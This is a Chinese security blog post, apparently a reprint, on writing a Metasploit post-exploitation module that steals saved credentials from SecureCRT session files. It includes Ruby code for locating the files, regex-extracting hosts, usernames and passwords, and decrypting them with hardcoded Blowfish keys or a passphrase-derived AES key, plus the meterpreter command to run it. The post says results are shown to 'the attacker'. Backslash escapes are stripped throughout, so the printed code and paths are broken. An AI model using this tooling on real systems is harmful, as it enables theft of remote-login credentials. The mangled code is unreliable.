声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
前言
最后的功能是支持7.3.3版本之前和之后的两种解密算法,并且支持Passphrase解密(前提是你要知道用户设置的Passphrase),这次主要学习了一个河豚解密算法的编写。旧版本的加解密算法正是使用了河豚算法,这个算法比较容易恢复明文密码,所以新版本添加了Passphrase的SHA256数据摘要作为AES-256-CBC算法的Key,增加了解密难度,和Xshell的主密码一样。
安装完SecureCRT后,设置主密码,创建一个新的连接,点开属性设置保存密码,就会在当前用户的%AppData%RoamingVanDykeConfigSessions下创建一个以连接名称为文件名的会话配置文件,为了保险起见,我还是通过读取注册表'HKEY_CURRENT_USER\Software\VanDyke\SecureCRT'获取session配置文件的保存目录,有价值的信息:用户名,登录密码。有时候还会有脚本登录密码,主机地址和端口等等。
因为配置文件不是一个可序列化的文件,所以无法转化为Ruby对象,这里就选择使用则正表达式去匹配关键信息
protocol = Regexp.compile('S:"Protocol Name"=([^rn]*)').match(file) ? Regexp.last_match(1) : nil
hostname = Regexp.compile('S:"Hostname"=([^rn]*)').match(file) ? Regexp.last_match(1) : nil
password = Regexp.compile('S:"Password"=u([0-9a-f]+)').match(file) ? securecrt_crypto(Regexp.last_match(1)) : nil
passwordv2 = Regexp.compile('S:"Password V2"=02:([0-9a-f]+)').match(file) ? securecrt_crypto_v2(Regexp.last_match(1)) : nil
port = Regexp.compile("D:"\[#{protocol}\] Port"=([0-9a-f]{8})").match(file) ? Regexp.last_match(1).to_i(16).to_s : nil
port = Regexp.compile('D:"Port"=([0-9a-f]{8})').match(file) ? Regexp.last_match(1).to_i(16).to_s : nil if !port
username = Regexp.compile('S:"Username"=([^rn]*)').match(file) ? Regexp.last_match(1) : nil
经过上面的正则就可以匹配到两个版本的关键信息,并且通过对应的解密算法解密,最终入库并呈现给攻击者。
现有的解密程序是Python语言编写的,各个语言之间的加解密和编码可能不太一样,转为Ruby语言开发还是遇到了一些有趣的地方。
首先Python语言可以在字符串的前面添加指定字母表示不同的编码格式,例如:
self.IV = b'x00' * Blowfish.block_size
self.Key1 = b'x24xA6x3DxDEx5BxD3xB3x82x9Cx7Ex06xF4x08x16xAAx07'
self.Key2 = b'x5FxB0x45xA2x94x17xD9x16xC6xC6xA2xFFx06x41x82xB7'
在Ruby中,用双引号括起来的就是原始的数据,不需要添加修饰,一定要有双引号才会转义,单引号括着什么就是什么,并不是hex数据了。
key1 = "x24xA6x3DxDEx5BxD3xB3x82x9Cx7Ex06xF4x08x16xAAx07"
key2 = "x5FxB0x45xA2x94x17xD9x16xC6xC6xA2xFFx06x41x82xB7"
因为双引号和单引号括的根本就不是同一个东西。
"x24xA6x3DxDEx5BxD3xB3x82x9Cx7Ex06xF4x08x16xAAx07".unpack('H*')
=> ["24a63dde5bd3b3829c7e06f40816aa07"]
'x24xA6x3DxDEx5BxD3xB3x82x9Cx7Ex06xF4x08x16xAAx07'.unpack('H*')
=> ["5c7832345c7841365c7833445c7844455c7835425c7844335c7842335c7838325c7839435c7837455c7830365c7846345c7830385c7831365c7841415c783037"]
Python中的bytes.fromhex(Ciphertext)方法实现的是将ciphertext的hex转换为bytes类型,Ruby实现的方法为:[ciphertext].pack('H*')
旧版本解密
河豚解密函数,非常幸运的是OpenSSL库中自带了这个算法,在使用中注意实例化的模式是bf-cbc,CBC模式。
def blowfish_decrypt(secret_key, text)
cipher = OpenSSL::Cipher.new('bf-cbc').decrypt
cipher.padding = 0
cipher.key_len = secret_key.length
cipher.key = secret_key
cipher.iv= "x00" * 8
cipher.update(text) + cipher.final
end
按照Python语言中的解密流程,转为Ruby语言的代码如下,要注意的是:Ruby与Python的切片的第二个参数的含义是不一样的,Ruby可以使用.step(2)设置循环的步长为2,剩下的都是编码问题了。
def securecrt_crypto(ciphertext)
key1 = "x24xA6x3DxDEx5BxD3xB3x82x9Cx7Ex06xF4x08x16xAAx07"
key2 = "x5FxB0x45xA2x94x17xD9x16xC6xC6xA2xFFx06x41x82xB7"
ciphered_bytes = [ciphertext].pack('H*')
cipher_tmp = blowfish_decrypt(key1,ciphered_bytes)[4..-5]
padded_plain_bytes = blowfish_decrypt(key2,cipher_tmp)
i = 0
(0..padded_plain_bytes.length).step(2) {|i|
if (padded_plain_bytes[i] == "x00" && padded_plain_bytes[i + 1] == "x00")
return padded_plain_bytes[0..i-1].force_encoding("UTF-16LE").encode('UTF-8')
end
}
end
新版本解密
bytes类型转int,按照小端顺序的Python实现代码:int.from_bytes(padded_plain_bytes[0:4], 'little'),转为Ruby实现为:padded_plain_bytes[0,4].unpack1('l')。
def securecrt_crypto_v2(ciphertext)
iv =("x00" * 16)
config_passphrase = datastore['Passphrase'] || nil
key = OpenSSL::Digest::SHA256.new(config_passphrase).digest
aes = OpenSSL::Cipher.new('AES-256-CBC')
aes.key = key
aes.padding = 0
aes.decrypt
aes.iv = iv
padded_plain_bytes = aes.update([ciphertext].pack('H*'))
plain_bytes_length= padded_plain_bytes[0,4].unpack1('l') # bytes to int little-endian format.
plain_bytes = padded_plain_bytes[4,plain_bytes_length]
plain_bytes_digest = padded_plain_bytes[4 + plain_bytes_length,32]
if(OpenSSL::Digest::SHA256.new(plain_bytes).digest == plain_bytes_digest) # verity
return plain_bytes.force_encoding('UTF-8')
end
print_error("Maybe the user has set the passphrase, please try to provide the [Passphrase] to decrypt again.")
return nil
end
首先获得一个meterpreter会话,执行run post/windows/gather/credentials/securecrt PASSPHRASE=123456,后面的PASSPHRASE参数为主密码。
如果已知加解密的算法,或者有现成的分析文章,在编写解密代码时就比较容易,编写解密模块主要是要对Ruby的pack和unpack的灵活运用,还有对配置文件的解析,像这个不是规范的INI配置文件,无法将文本序列化成可用对象,还需要使用到正则表达式提取文本信息。
参考
https://github.com/HyperSine/how-does-SecureCRT-encrypt-password/blob/master/doc/how-does-SecureCRT-encrypt-password.md
https://github.com/rapid7/metasploit-framework/pull/14118
注:本文由E安全编译报道,转载请注原文地址 https://www.easyaq.com
推荐阅读:
▼稿件合作 陈女士 15558192959
喜欢记得打赏小E哦!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论